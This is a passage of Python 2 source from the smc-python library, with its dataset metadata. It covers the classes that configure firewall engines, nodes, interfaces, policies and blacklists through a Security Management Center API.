outgoing=True,\n primary_heartbeat=True)\n interfaces.append({NodeInterface.name: vars(intf)})\n self.data.update(interface_id=interface_id,\n interfaces=interfaces,\n zone_ref=zone_ref)\n return self._make()\n \n def add_vlan_to_single_node_interface(self, interface_id, address, \n network_value, vlan_id, \n zone_ref=None):\n \"\"\"\n Add a vlan to single node interface. Will create interface if it \n doesn't exist\n \n :param int interface_id: interface identifier\n :param str address: ip address\n :param str network_value: network cidr\n :param int vlan_id: vlan identifier \n :param str zone_ref: zone reference\n :return: SMCResult\n \n See :py:class:`SingleNodeInterface` for more information \n \"\"\"\n vlan = VlanInterface(interface_id, vlan_id, zone_ref=zone_ref)\n node = SingleNodeInterface(vlan.interface_id, address, network_value)\n vlan.interfaces.append({SingleNodeInterface.name: vars(node)})\n self.data.update(interface_id=interface_id,\n vlanInterfaces=[vars(vlan)])\n return self._make()\n \n def add_vlan_to_node_interface(self, interface_id, vlan_id, \n virtual_mapping=None, virtual_resource_name=None,\n zone_ref=None):\n \"\"\"\n Add vlan to existing node interface\n \n :param int interface_id: interface identifier\n :param int vlan_id: vlan identifier\n :param int virtual_mapping: virtual engine mapping id\n :param str virtual_resource_name: name of virtual resource\n :return: SMCResult\n \n See :py:class:`NodeInterface` for more information \n \"\"\"\n vlan = VlanInterface(interface_id, vlan_id, \n virtual_mapping,\n virtual_resource_name,\n zone_ref)\n self.data.update(interface_id=interface_id,\n vlanInterfaces=[vars(vlan)])\n return self._make()\n \n def add_vlan_to_inline_interface(self, interface_id, vlan_id, \n logical_interface_ref=None,\n zone_ref_intf1=None,\n zone_ref_intf2=None):\n \"\"\"\n Add a vlan to inline interface, will create inline if it doesn't exist\n \n :param str interface_id: interfaces for inline pair, '1-2', '5-6'\n :param int vlan_id: vlan identifier\n :param str logical_interface_ref: logical interface reference to use\n :param str zone_ref_intf1: zone for inline interface 1\n :param str zone_ref_intf2: zone for inline interface 2\n :return: SMCResult\n \n See :py:class:`InlineInterface` for more information \n \"\"\" \n first_intf = interface_id.split('-')[0]\n vlan = VlanInterface(first_intf, vlan_id, zone_ref=zone_ref_intf1)\n inline_intf = InlineInterface(interface_id, \n logical_interface_ref,\n zone_ref=zone_ref_intf2)\n copied_intf = deepcopy(inline_intf) #copy as ref data will change\n inline_intf.add_vlan(vlan_id)\n #add embedded inline interface to physical interface vlanInterfaces list\n vlan.interfaces.append({InlineInterface.name: vars(inline_intf)})\n\n self.data.update(interfaces=[{InlineInterface.name: vars(copied_intf)}],\n vlanInterfaces=[vars(vlan)],\n interface_id=first_intf)\n return self._make()\n \n def modify_attribute(self, **kwds):\n \"\"\" Not fully implemented \"\"\"\n for k, v in kwds.iteritems():\n if k in self.data:\n print \"K is in self.data\"\n self.data.update({k:v})\n \n def modify_interface(self, interface_type, **kwds):\n \"\"\" Modify interface\n \n :param interface_type: single_node_interface, node_interface, etc\n :param kwargs: dict of key value, i.e. {'backup_heartbeat': True}\n \"\"\" \n intf = self.data.get('interfaces')[0].get(interface_type)\n for k, v in kwds.iteritems():\n if k in intf:\n intf[k] = v\n\n def describe_interface(self):\n return self.data\n \n def _make(self):\n \"\"\"\n If callback attribute doesn't exist, this is because an Engine is \n being created. The callback should be an SMCElement used to \n reference the http href for submitting the json. For engines being \n created, the engine json is compiled directly. This should only \n execute in the try block when the engine is already in context and \n operator is adding more interfaces by accessing the property \n :py:class:`smc.elements.engines.Engine.physical_interface`\n \"\"\"\n try:\n self.callback.json = self.data\n return self.callback.create()\n except AttributeError:\n pass\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'interface_id={}'.format(\\\n self.data.get('interface_id')))\n \nclass VirtualPhysicalInterface(PhysicalInterface):\n \"\"\" \n VirtualPhysicalInterface\n This interface type is used by virtual engines and has subtle differences\n to a normal interface. For a VE in layer 3 firewall, it also specifies a \n Single Node Interface as the physical interface sub-type.\n When creating the VE, one of the interfaces must be designated as the source\n for Auth Requests and Outgoing. \n \n :param int interface_id: interface id for this virtual interface\n :param list intfdict: dictionary representing interface information\n :param str zone_ref: zone for top level physical interface\n \"\"\"\n name = 'virtual_physical_interface'\n \n def __init__(self, interface_id=None):\n PhysicalInterface.__init__(self, interface_id)\n pass\n\nimport smc.api.common\nimport smc.actions.search as search\n\nclass Interface(object):\n def __init__(self, **kwargs):\n \"\"\"\n :ivar href: interface href link\n :ivar name: interface name\n :ivar type: interface type\n \"\"\"\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n\n def delete(self):\n return smc.api.common.delete(self.href)\n \n def modify_attribute(self, **kwargs):\n pass\n \n @property\n def physical_interface(self):\n return PhysicalInterface()\n \n @property\n def tunnel_interface(self):\n return TunnelInterface()\n \n #lazy loaded when called\n def describe_interface(self):\n if self.type == 'physical_interface':\n return PhysicalInterface(\n **search.element_by_href_as_json(self.href))\n elif self.type == 'tunnel_interface':\n return TunnelInterface(\n **search.element_by_href_as_json(self.href))\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'name={},type={}'.format(\\\n self.name, self.type))\n " }, { "alpha_fraction": 0.5517461895942688, "alphanum_fraction": 0.5552513003349304, "avg_line_length": 40.49469757080078, "blob_id": "b821170cf32267856bc2956b544e4ec58aea1cb1", "content_id": "469cf421271da1ad8d4188dafbb576b2513f88bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 54777, "license_type": "no_license", "max_line_length": 103, "num_lines": 1320, "path": "/smc/elements/engines.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "from pprint import pformat\nfrom smc.elements.element import SMCElement, Blacklist\nfrom smc.elements.interfaces import VirtualPhysicalInterface, PhysicalInterface, Interface\nimport smc.actions.search as search\nimport smc.api.common as common_api\nfrom smc.elements.helpers import find_link_by_name\nfrom smc.api.exceptions import CreateEngineFailed, LoadEngineFailed,\\\n UnsupportedEngineFeature\nfrom smc.elements.vpn import InternalGateway\n\nclass Engine(object):\n \"\"\"\n Instance attributes:\n \n :ivar name: name of engine\n :ivar dict json: raw engine json\n :ivar node_type: type of node in engine\n :ivar href: href of the engine\n :ivar link: list link to engine resources\n \n Instance resources:\n \n :ivar list nodes: (Node) nodes associated with this engine\n :ivar list interface: (Interface) interfaces for this engine\n :ivar internal_gateway: (InternalGateway) engine level VPN settings\n :ivar virtual_resource: (VirtualResource) for engine, only relavant to Master Engine\n :ivar physical_interface: (PhysicalInterface) access to physical interface settings\n \"\"\"\n def __init__(self, name, **kwargs):\n self.name = name\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n @classmethod\n def create(cls, name, node_type, \n physical_interfaces,\n nodes=1,\n log_server_ref=None, \n domain_server_address=None):\n \"\"\"\n Create will return the engine configuration as a dict that is a \n representation of the engine. The creating class will also add \n engine specific requirements before adding it to an SMCElement\n and sending to SMC (which will serialize the dict to json).\n \n :param name: name of engine\n :param str node_type: comes from class attribute of engine type\n :param dict physical_interfaces\n :param int nodes: number of nodes for engine\n :param str log_server_ref: href of log server\n :param list domain_server_address\n \"\"\"\n cls.nodes = []\n nodes = nodes\n for nodeid in range(1, nodes+1): #start at nodeid=1\n cls.nodes.append(Node.create(name, node_type, nodeid))\n \n try:\n cls.domain_server_address = []\n rank_i = 0\n for entry in domain_server_address:\n cls.domain_server_address.append(\n {\"rank\": rank_i, \"value\": entry})\n except (AttributeError, TypeError):\n pass\n \n if not log_server_ref: #Set log server reference, if not explicitly set\n log_server_ref = search.get_first_log_server()\n \n engine = Engine(name) \n base_cfg = {'name': name,\n 'nodes': cls.nodes,\n 'domain_server_address': cls.domain_server_address,\n 'log_server_ref': log_server_ref,\n 'physicalInterfaces': physical_interfaces}\n for k, v in base_cfg.items():\n setattr(engine, k, v)\n \n return vars(engine)\n \n def load(self):\n \"\"\" When engine is loaded, save the attributes that are needed. \n Engine load can be called directly::\n \n engine = Engine('myengine').load()\n \n or by calling collections.describe_xxx methods::\n \n for fw in describe_single_fws():\n if fw.name == 'myfw':\n engine = fw.load()\n \n Call this to reload settings, useful if changes are made and new \n configuration references are needed.\n \"\"\"\n try:\n #Reference from a collections.describe_* function\n result = search.element_by_href_as_smcresult(self.href)\n except AttributeError: #Load called directly \n result = search.element_as_json_with_etag(self.name)\n if result:\n engine = Engine(self.name)\n engine.json = result.json\n engine.nodes = []\n for node in engine.json.get('nodes'):\n for node_type, data in node.iteritems():\n new_node = Node(node_type, data)\n engine.nodes.append(new_node)\n return engine\n else:\n raise LoadEngineFailed(\"Cannot load engine name: %s, please ensure the name is correct\"\n \" and the engine exists.\" % self.name)\n \n def modify_attribute(self, **kwargs):\n \"\"\"\n :param kwargs: (key=value)\n \"\"\"\n for k, v in kwargs.iteritems():\n self.json.update({k: v})\n latest = search.element_by_href_as_smcresult(self.href)\n return SMCElement(href=self.href, json=self.json,\n etag=latest.etag).update()\n \n @property\n def href(self):\n try:\n return self._href\n except AttributeError:\n return find_link_by_name('self', self.link)\n \n @href.setter\n def href(self, value):\n self._href = value\n \n @property\n def link(self):\n try:\n return self.json.get('link')\n except AttributeError:\n return \"You must first load the engine to access resources\"\n \n @property\n def node_type(self):\n for node in self.node():\n return node.get('type')\n \n def node(self):\n \"\"\" Return node/s references for this engine. For a cluster this will\n contain multiple entries. \n \n :method: GET\n :return: list dict with metadata {href, name, type}\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('nodes', self.link))\n \n def alias_resolving(self):\n \"\"\" Alias definitions defined for this engine \n Aliases can be used in rules to simplify multiple object creation\n \n :method: GET\n :return: dict list [{alias_ref: str, 'cluster_ref': str, 'resolved_value': []}]\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('alias_resolving', self.link)) \n \n def blacklist(self, src, dst, duration=3600):\n \"\"\" Add blacklist entry to engine node by name\n \n :method: POST\n :param name: name of engine node or cluster\n :param src: source to blacklist, can be /32 or network cidr\n :param dst: dest to deny to, 0.0.0.0/32 indicates all destinations\n :param duration: how long to blacklist in seconds\n :return: SMCResult (href attr set with blacklist entry)\n \"\"\"\n element = Blacklist(src, dst, duration)\n element.href = find_link_by_name('blacklist', self.link)\n return element.create()\n \n def blacklist_flush(self):\n \"\"\" Flush entire blacklist for node name\n \n :method: DELETE\n :param name: name of node or cluster to remove blacklist\n :return: SMCResult (msg attribute set if failure)\n \"\"\"\n return common_api.delete(find_link_by_name('flush_blacklist', self.link))\n \n def add_route(self, gateway, network):\n \"\"\" Add a route to engine. Specify gateway and network. \n If this is the default gateway, use a network address of\n 0.0.0.0/0.\n \n .. note: This will fail if the gateway provided does not have a \n corresponding interface on the network.\n \n :method: POST\n :param gateway: gateway of an existing interface\n :param network: network address in cidr format\n :return: SMCResult\n \"\"\"\n return SMCElement(\n href=find_link_by_name('add_route', self.link),\n params={'gateway': gateway, \n 'network': network}).create()\n \n def routing(self):\n \"\"\" Retrieve routing json from engine node\n \n :method: GET\n :return: json representing routing configuration\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('routing', self.link))\n \n def routing_monitoring(self):\n \"\"\" Return route information for the engine, including gateway, networks\n and type of route (dynamic, static)\n \n :method: GET\n :return: dict of dict list entries representing routes\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('routing_monitoring', self.link))\n \n def antispoofing(self):\n \"\"\" Antispoofing interface information. By default is based on routing\n but can be modified in special cases\n \n :method: GET\n :return: dict of antispoofing settings per interface\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('antispoofing', self.link))\n \n @property\n def internal_gateway(self):\n \"\"\" Engine level VPN gateway information. This is a link from\n the engine to VPN level settings like VPN Client, Enabling/disabling\n an interface, adding VPN sites, etc. \n \n :method: GET\n :return: :py:class:`smc.elements.vpn.InternalGateway`\n :raises UnsupportedEngineFeature: this feature doesnt exist for engine type\n \"\"\"\n result = search.element_by_href_as_json(\n find_link_by_name('internal_gateway', self.link))\n if not result:\n raise UnsupportedEngineFeature('This engine does not support an internal '\n 'gateway for VPN, engine type: {}'.format(\n self.node_type))\n for gw in result:\n igw = InternalGateway(\n **search.element_by_href_as_json(gw.get('href')))\n return igw\n \n @property\n def virtual_resource(self):\n \"\"\" Master Engine only \n \n To get all virtual resources call::\n \n engine.virtual_resource.all()\n \n :return: :py:class:`smc.elements.engine.VirtualResource`\n :raises UnsupportedEngineFeature: this feature doesnt exist for engine type\n \"\"\"\n href = find_link_by_name('virtual_resources', self.link)\n if not href:\n raise UnsupportedEngineFeature('This engine does not support virtual '\n 'resources; engine type: {}'.format(\n self.node_type))\n return VirtualResource(href=href)\n \n \n @property \n def interface(self):\n \"\"\" Get all interfaces, including non-physical interfaces such\n as tunnel or capture interfaces. These are returned as Interface \n objects and can be used to load specific interfaces to modify, etc.\n\n :method: GET\n :return: list Interface: returns a top level Interface representing each\n configured interface on the engine. \n \n See :py:class:`smc.elements.engines.Interface` for more info\n \"\"\"\n intf = search.element_by_href_as_json(\n find_link_by_name('interfaces', self.link))\n interfaces=[]\n for interface in intf:\n interfaces.append(Interface(**interface))\n return interfaces\n \n @property\n def physical_interface(self):\n \"\"\" Returns a PhysicalInterface. This property can be used to\n add physical interfaces to the engine. For example::\n \n engine.physical_interface.add_single_node_interface(....)\n engine.physical_interface.add_node_interface(....)\n \n :method: GET\n :return: PhysicalInterface: for manipulating physical interfaces\n \"\"\"\n href = find_link_by_name('physical_interface', self.link)\n return PhysicalInterface(callback=SMCElement(href=href))\n \n def virtual_physical_interface(self):\n \"\"\" Master Engine virtual instance only\n \n A virtual physical interface is for a master engine virtual instance.\n \n :method: GET\n :return: list of dict entries with href,name,type or None\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('virtual_physical_interface', self.link))\n \n def tunnel_interface(self):\n \"\"\" Get only tunnel interfaces for this engine node.\n \n :method: GET\n :return: list of dict entries with href,name,type, or None\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('tunnel_interface', self.link)) \n \n def modem_interface(self):\n \"\"\" Get only modem interfaces for this engine node.\n \n :method: GET\n :return: list of dict entries with href,name,type, or None\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('modem_interface', self.link))\n \n def adsl_interface(self):\n \"\"\" Get only adsl interfaces for this engine node.\n \n :method: GET\n :return: list of dict entries with href,name,type, or None\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('adsl_interface', self.link))\n \n def wireless_interface(self):\n \"\"\" Get only wireless interfaces for this engine node.\n \n :method: GET\n :return: list of dict entries with href,name,type, or None\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('wireless_interface', self.link))\n \n def switch_physical_interface(self):\n \"\"\" Get only switch physical interfaces for this engine node.\n \n :method: GET\n :return: list of dict entries with href,name,type, or None\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('switch_physical_interface', self.link))\n \n def refresh(self, wait_for_finish=True):\n \"\"\" Refresh existing policy on specified device. This is an asynchronous \n call that will return a 'follower' link that can be queried to determine \n the status of the task. \n \n See :func:`async_handler` for more information on how to obtain results\n \n Last yield is result href; if wait_for_finish=False, the only yield is \n the follower href\n \n :method: POST\n :param wait_for_finish: whether to wait in a loop until the upload completes\n :return: generator yielding updates on progress\n \"\"\"\n element = SMCElement(\n href=find_link_by_name('refresh', self.link)).create()\n return common_api.async_handler(element.json.get('follower'), \n wait_for_finish)\n \n #TODO: When node is not initialized, should terminate rather than let the async\n #handler loop, check for that status or wait_for_finish=False\n def upload(self, policy=None, wait_for_finish=True):\n \"\"\" Upload policy to existing engine. If no policy is specified, and the engine\n has already had a policy installed, this policy will be re-uploaded. \n \n This is typically used to install a new policy on the engine. If you just\n want to re-push an existing policy, call :func:`refresh`\n \n :param policy: name of policy to upload to engine\n :param wait_for_finish: whether to wait for async responses\n :return: generator yielding updates on progress\n \"\"\"\n if not policy: #if policy not specified SMC seems to apply some random policy: bug?\n for node in self.nodes:\n policy = node.status().get('installed_policy')\n if policy:\n break\n element = SMCElement(\n href=find_link_by_name('upload', self.link),\n params={'filter': policy}).create()\n return common_api.async_handler(element.json.get('follower'), \n wait_for_finish)\n \n def generate_snapshot(self, filename='snapshot.zip'):\n \"\"\" Generate and retrieve a policy snapshot from the engine\n This is blocking as file is downloaded\n \n :method: GET\n :param filename: name of file to save file to, including directory path\n :return: None\n \"\"\"\n href = find_link_by_name('generate_snapshot', self.link)\n return common_api.fetch_content_as_file(href, filename=filename)\n \n def snapshot(self):\n \"\"\" References to policy based snapshots for this engine, including\n the date the snapshot was made\n \n :method: GET\n :return: list of dict with {href,name,type}\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('snapshots', self.link))\n \n def export(self, filename='export.zip'): \n \"\"\" Generate export of configuration. Export is downloaded to\n file specified in filename parameter.\n \n :mathod: POST\n :param filename: if set, the export will download the file. \n :return: href of export, file download\n \"\"\"\n element = SMCElement(\n href=find_link_by_name('export', self.link),\n params={'filter': self.name}).create()\n \n href = next(common_api.async_handler(element.json.get('follower'), \n display_msg=False))\n return common_api.fetch_content_as_file(href, filename)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'name={}'.format(self.name))\n \nclass Node(object):\n \"\"\" \n Node settings to make each engine node controllable individually.\n When Engine().load() is called, setattr will set all instance attributes\n with the contents of the node json. Very few would benefit from being\n modified with exception of 'name'. To change a top level attribute, you\n would call node.modify_attribute(name='value')\n Engine will have a 'has-a' relationship with node and stored as the\n nodes attribute\n \n Instance attributes:\n \n :ivar name: name of node\n :ivar engine_version: software version installed\n :ivar nodeid: node id, useful for commanding engines\n :ivar disabled: whether node is disabled or not\n :ivar href: href of this resource\n \"\"\"\n node_type = None\n \n def __init__(self, node_type, mydict):\n Node.node_type = node_type\n for k, v in mydict.items():\n setattr(self, k, v)\n \n @classmethod\n def create(cls, name, node_type, nodeid=1):\n \"\"\"\n :param name\n :param node_type\n :param nodeid\n \"\"\" \n node = Node(node_type,\n {'activate_test': True,\n 'disabled': False,\n 'loopback_node_dedicated_interface': [],\n 'name': name + ' node '+str(nodeid),\n 'nodeid': nodeid})\n return({node_type: \n vars(node)}) \n\n def modify_attribute(self, **kwargs):\n \"\"\" Modify attribute/value pair of base node\n \n :param kwargs: key=value\n \"\"\"\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \n latest = search.element_by_href_as_smcresult(self.href)\n return SMCElement(\n href=self.href, json=vars(self),\n etag=latest.etag).update()\n \n @property\n def href(self):\n return find_link_by_name('self', self.link)\n \n def fetch_license(self):\n \"\"\" Fetch the node level license\n \n :return: SMCResult\n \"\"\"\n return SMCElement(\n href=find_link_by_name('fetch', self.link)).create()\n\n def bind_license(self, license_item_id=None):\n \"\"\" Auto bind license, uses dynamic if POS is not found\n \n :param str license_item_id: license id\n :return: SMCResult\n \"\"\"\n params = {'license_item_id': license_item_id}\n return SMCElement(\n href=find_link_by_name('bind', self.link), params=params).create()\n \n def unbind_license(self):\n \"\"\" Unbind license on node. This is idempotent. \n \n :return: SMCResult \n \"\"\"\n return SMCElement(\n href=find_link_by_name('unbind', self.link)).create()\n \n def cancel_unbind_license(self):\n \"\"\" Cancel unbind for license\n \n :return: SMCResult\n \"\"\"\n return SMCElement(\n href=find_link_by_name('cancel_unbind', self.link)).create()\n \n def initial_contact(self, enable_ssh=True, time_zone=None, \n keyboard=None, \n install_on_server=None, \n filename=None):\n \"\"\" Allows to save the initial contact for for the specified node\n \n :method: POST\n :param boolean enable_ssh: flag to know if we allow the ssh daemon on the specified node\n :param str time_zone: optional time zone to set on the specified node \n :param str keyboard: optional keyboard to set on the specified node\n :param boolean install_on_server: optional flag to know if the generated configuration \n needs to be installed on SMC Install server (POS is needed)\n :param str filename: filename to save initial_contact to. If this fails due to IOError,\n SMCResult.content will still have the contact data\n :return: SMCResult: with content attribute set to initial contact info\n \"\"\"\n result = SMCElement(\n href=find_link_by_name('initial_contact', self.link),\n params={'enable_ssh': enable_ssh}).create()\n \n if result.content:\n if filename:\n import os.path\n path = os.path.abspath(filename)\n try:\n with open(path, \"w\") as text_file:\n text_file.write(\"{}\".format(result.content))\n except IOError, io:\n result.msg = \"Error occurred saving initial contact info: %s\" % io \n return result.content\n \n def appliance_status(self):\n \"\"\" Gets the appliance status for the specified node \n for the specific supported engine \n \n :method: GET\n :return: list of status information\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('appliance_status', self.link))\n \n def status(self):\n \"\"\" Basic status for individual node. Specific information such as node name,\n dynamic package version, configuration status, platform and version.\n \n :method: GET\n :return: dict of status fields returned from SMC\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('status', self.link))\n \n def go_online(self, comment=None):\n \"\"\" Executes a Go-Online operation on the specified node \n typically done when the node has already been forced offline \n via :func:`go_offline`\n \n :method: PUT\n :param str comment: (optional) comment to audit\n :return: SMCResult\n \"\"\"\n params = {'comment': comment}\n return SMCElement(\n href=find_link_by_name('go_online', self.link),\n params=params).update()\n\n def go_offline(self, comment=None):\n \"\"\" Executes a Go-Offline operation on the specified node\n \n :method: PUT\n :param str comment: optional comment to audit\n :return: SMCResult\n \"\"\"\n params = {'comment': comment}\n return SMCElement(\n href=find_link_by_name('go_offline', self.link),\n params=params).update()\n\n def go_standby(self, comment=None):\n \"\"\" Executes a Go-Standby operation on the specified node. \n To get the status of the current node/s, run :func:`status`\n \n :method: PUT\n :param str comment: optional comment to audit\n :return: SMCResult\n \"\"\"\n params = {'comment': comment}\n return SMCElement(\n href=find_link_by_name('go_standby', self.link),\n params=params).update()\n\n def lock_online(self, comment=None):\n \"\"\" Executes a Lock-Online operation on the specified node\n \n :method: PUT\n :param str comment: comment for audit\n :return: SMCResult\n \"\"\"\n params = {'comment': comment}\n return SMCElement(\n href=find_link_by_name('lock_online', self.link),\n params=params).update()\n \n def lock_offline(self, comment=None):\n \"\"\" Executes a Lock-Offline operation on the specified node\n Bring back online by running :func:`go_online`.\n \n :method: PUT\n :param str comment: comment for audit\n :return: SMCResult\n \"\"\"\n params = {'comment': comment}\n return SMCElement(\n href=find_link_by_name('lock_offline', self.link),\n params=params).update()\n \n def reset_user_db(self, comment=None):\n \"\"\" Executes a Send Reset LDAP User DB Request operation on the \n specified node\n \n :method: PUT\n :param str comment: comment to audit\n :return: SMCResult\n \"\"\"\n params = {'comment': comment}\n return SMCElement(\n href=find_link_by_name('reset_user_db', self.link),\n params=params).update()\n \n def diagnostic(self, filter_enabled=False):\n \"\"\" Provide a list of diagnostic options to enable\n #TODO: implement filter_enabled\n \n :method: GET\n :param boolean filter_enabled: returns all enabled diagnostics\n :return: list of dict items with diagnostic info; key 'diagnostics'\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('diagnostic', self.link))\n \n def send_diagnostic(self):\n \"\"\" Send the diagnostics to the specified node \n Send diagnostics in payload\n \"\"\"\n print \"Not Yet Implemented\"\n \n def reboot(self, comment=None):\n \"\"\" Reboots the specified node \n \n :method: PUT\n :param str comment: comment to audit\n :return: SMCResult\n \"\"\"\n params = {'comment': comment}\n return SMCElement(\n href=find_link_by_name('reboot', self.link),\n params=params).update()\n \n def sginfo(self, include_core_files=False,\n include_slapcat_output=False):\n \"\"\" Get the SG Info of the specified node \n ?include_core_files\n ?include_slapcat_output\n :param include_core_files: flag to include or not core files\n :param include_slapcat_output: flag to include or not slapcat output\n \"\"\"\n #params = {'include_core_files': include_core_files,\n # 'include_slapcat_output': include_slapcat_output} \n print \"Not Yet Implemented\"\n \n def ssh(self, enable=True, comment=None):\n \"\"\" Enable or disable SSH\n \n :method: PUT\n :param boolean enable: enable or disable SSH daemon\n :param str comment: optional comment for audit\n :return: SMCResult\n \"\"\"\n params = {'enable': enable, 'comment': comment}\n return SMCElement(\n href=find_link_by_name('ssh', self.link),\n params=params).update()\n \n def change_ssh_pwd(self, pwd=None, comment=None):\n \"\"\"\n Executes a change SSH password operation on the specified node \n \n :method: PUT\n :param str pwd: changed password value\n :param str comment: optional comment for audit log\n :return: SMCResult\n \"\"\"\n json = {'value': pwd}\n params = {'comment': comment}\n return SMCElement(\n href=find_link_by_name('change_ssh_pwd', self.link),\n params=params, json=json).update()\n\n def time_sync(self):\n \"\"\" Time synchronize node\n\n :method: PUT\n :return: SMCResult\n \"\"\"\n return SMCElement(\n href=find_link_by_name('time_sync', self.link)).update()\n \n def certificate_info(self):\n \"\"\" Get the certificate info of the specified node \n \n :return: dict with links to cert info\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('certificate_info', self.link))\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'name={},nodeid={}'.format(\\\n self.name, self.nodeid))\n\nclass Layer3Firewall(object):\n \"\"\"\n Represents a Layer 3 Firewall configuration.\n To instantiate and create, call 'create' classmethod as follows::\n \n engine = Layer3Firewall.create(name='mylayer3', \n mgmt_ip='1.1.1.1', \n mgmt_network='1.1.1.0/24')\n \n Set additional constructor values as necessary. \n \"\"\" \n node_type = 'firewall_node'\n def __init__(self, name):\n pass\n\n @classmethod\n def create(cls, name, mgmt_ip, mgmt_network, \n log_server_ref=None,\n mgmt_interface=0, \n default_nat=False,\n reverse_connection=False,\n domain_server_address=None, zone_ref=None):\n \"\"\" \n Create a single layer 3 firewall with management interface and DNS\n \n :param str name: name of firewall engine\n :param str mgmt_ip: ip address of management interface\n :param str mgmt_network: management network in cidr format\n :param str log_server_ref: (optional) href to log_server instance for fw\n :param int mgmt_interface: (optional) interface for management from SMC to fw\n :param list domain_server_address: (optional) DNS server addresses\n :param str zone_ref: (optional) zone name for management interface (created if not found)\n :param boolean reverse_connection: should the NGFW be the mgmt initiator (used when behind NAT)\n :param boolean default_nat: (optional) Whether to enable default NAT for outbound\n :return: Engine\n :raises: :py:class:`smc.api.web.CreateEngineFailed`: Failure to create with reason\n \"\"\"\n physical = PhysicalInterface()\n physical.add_single_node_interface(mgmt_interface,\n mgmt_ip, \n mgmt_network,\n is_mgmt=True,\n reverse_connection=reverse_connection,\n zone_ref=zone_ref)\n\n engine = Engine.create(name=name,\n node_type=cls.node_type,\n physical_interfaces=[\n {PhysicalInterface.name: physical.data}], \n domain_server_address=domain_server_address,\n log_server_ref=log_server_ref,\n nodes=1)\n if default_nat:\n engine.setdefault('default_nat', True)\n \n href = search.element_entry_point('single_fw')\n result = SMCElement(href=href, json=engine).create()\n if result.href:\n return Engine(name).load()\n else:\n raise CreateEngineFailed('Could not create the engine, '\n 'reason: {}'.format(result.msg))\n\nclass Layer2Firewall(object):\n node_type = 'fwlayer2_node'\n def __init__(self, name):\n pass\n \n @classmethod\n def create(cls, name, mgmt_ip, mgmt_network, \n mgmt_interface=0, \n inline_interface='1-2', \n logical_interface='default_eth',\n log_server_ref=None, \n domain_server_address=None, zone_ref=None):\n \"\"\" \n Create a single layer 2 firewall with management interface and inline pair\n \n :param str name: name of firewall engine\n :param str mgmt_ip: ip address of management interface\n :param str mgmt_network: management network in cidr format\n :param int mgmt_interface: (optional) interface for management from SMC to fw\n :param str inline_interface: interfaces to use for first inline pair\n :param str logical_interface: (optional) logical_interface reference\n :param str log_server_ref: (optional) href to log_server instance \n :param list domain_server_address: (optional) DNS server addresses\n :param str zone_ref: (optional) zone name for management interface (created if not found)\n :return: Engine\n :raises: :py:class:`smc.api.web.CreateEngineFailed`: Failure to create with reason\n \"\"\"\n interfaces = [] \n physical = PhysicalInterface()\n physical.add_node_interface(mgmt_interface,\n mgmt_ip, mgmt_network, \n is_mgmt=True,\n zone_ref=zone_ref)\n \n intf_href = search.element_href_use_filter(logical_interface, 'logical_interface')\n \n inline = PhysicalInterface()\n inline.add_inline_interface(inline_interface, intf_href)\n interfaces.append({PhysicalInterface.name: physical.data})\n interfaces.append({PhysicalInterface.name: inline.data}) \n \n engine = Engine.create(name=name,\n node_type=cls.node_type,\n physical_interfaces=interfaces, \n domain_server_address=domain_server_address,\n log_server_ref=log_server_ref,\n nodes=1)\n \n href = search.element_entry_point('single_layer2')\n result = SMCElement(href=href, \n json=engine).create()\n if result.href:\n return Engine(name).load()\n else:\n raise CreateEngineFailed('Could not create the engine, '\n 'reason: {}'.format(result.msg)) \n\nclass IPS(object):\n node_type = 'ips_node'\n def __init__(self, name):\n pass\n \n @classmethod\n def create(cls, name, mgmt_ip, mgmt_network, \n mgmt_interface='0',\n inline_interface='1-2',\n logical_interface='default_eth',\n log_server_ref=None,\n domain_server_address=None, zone_ref=None):\n \"\"\" \n Create a single IPS engine with management interface and inline pair\n \n :param str name: name of ips engine\n :param str mgmt_ip: ip address of management interface\n :param str mgmt_network: management network in cidr format\n :param int mgmt_interface: (optional) interface for management from SMC to fw\n :param str inline_interface: interfaces to use for first inline pair\n :param str logical_interface: (optional) logical_interface reference\n :param str log_server_ref: (optional) href to log_server instance \n :param list domain_server_address: (optional) DNS server addresses\n :param str zone_ref: (optional) zone name for management interface (created if not found)\n :return: Engine\n :raises: :py:class:`smc.api.web.CreateEngineFailed`: Failure to create with reason\n \"\"\"\n interfaces = []\n physical = PhysicalInterface()\n physical.add_node_interface(mgmt_interface,\n mgmt_ip, mgmt_network, \n is_mgmt=True,\n zone_ref=zone_ref)\n \n intf_href = search.element_href_use_filter(logical_interface, 'logical_interface')\n \n inline = PhysicalInterface()\n inline.add_inline_interface(inline_interface, intf_href)\n interfaces.append({PhysicalInterface.name: physical.data})\n interfaces.append({PhysicalInterface.name: inline.data}) \n \n engine = Engine.create(name=name,\n node_type=cls.node_type,\n physical_interfaces=interfaces, \n domain_server_address=domain_server_address,\n log_server_ref=log_server_ref,\n nodes=1)\n \n href = search.element_entry_point('single_ips')\n result = SMCElement(href=href, \n json=engine).create()\n if result.href:\n return Engine(name).load()\n else:\n raise CreateEngineFailed('Could not create the engine, '\n 'reason: {}'.format(result.msg))\n \nclass Layer3VirtualEngine(object):\n \"\"\" \n Create a layer3 virtual engine and map to specified Master Engine\n Each layer 3 virtual 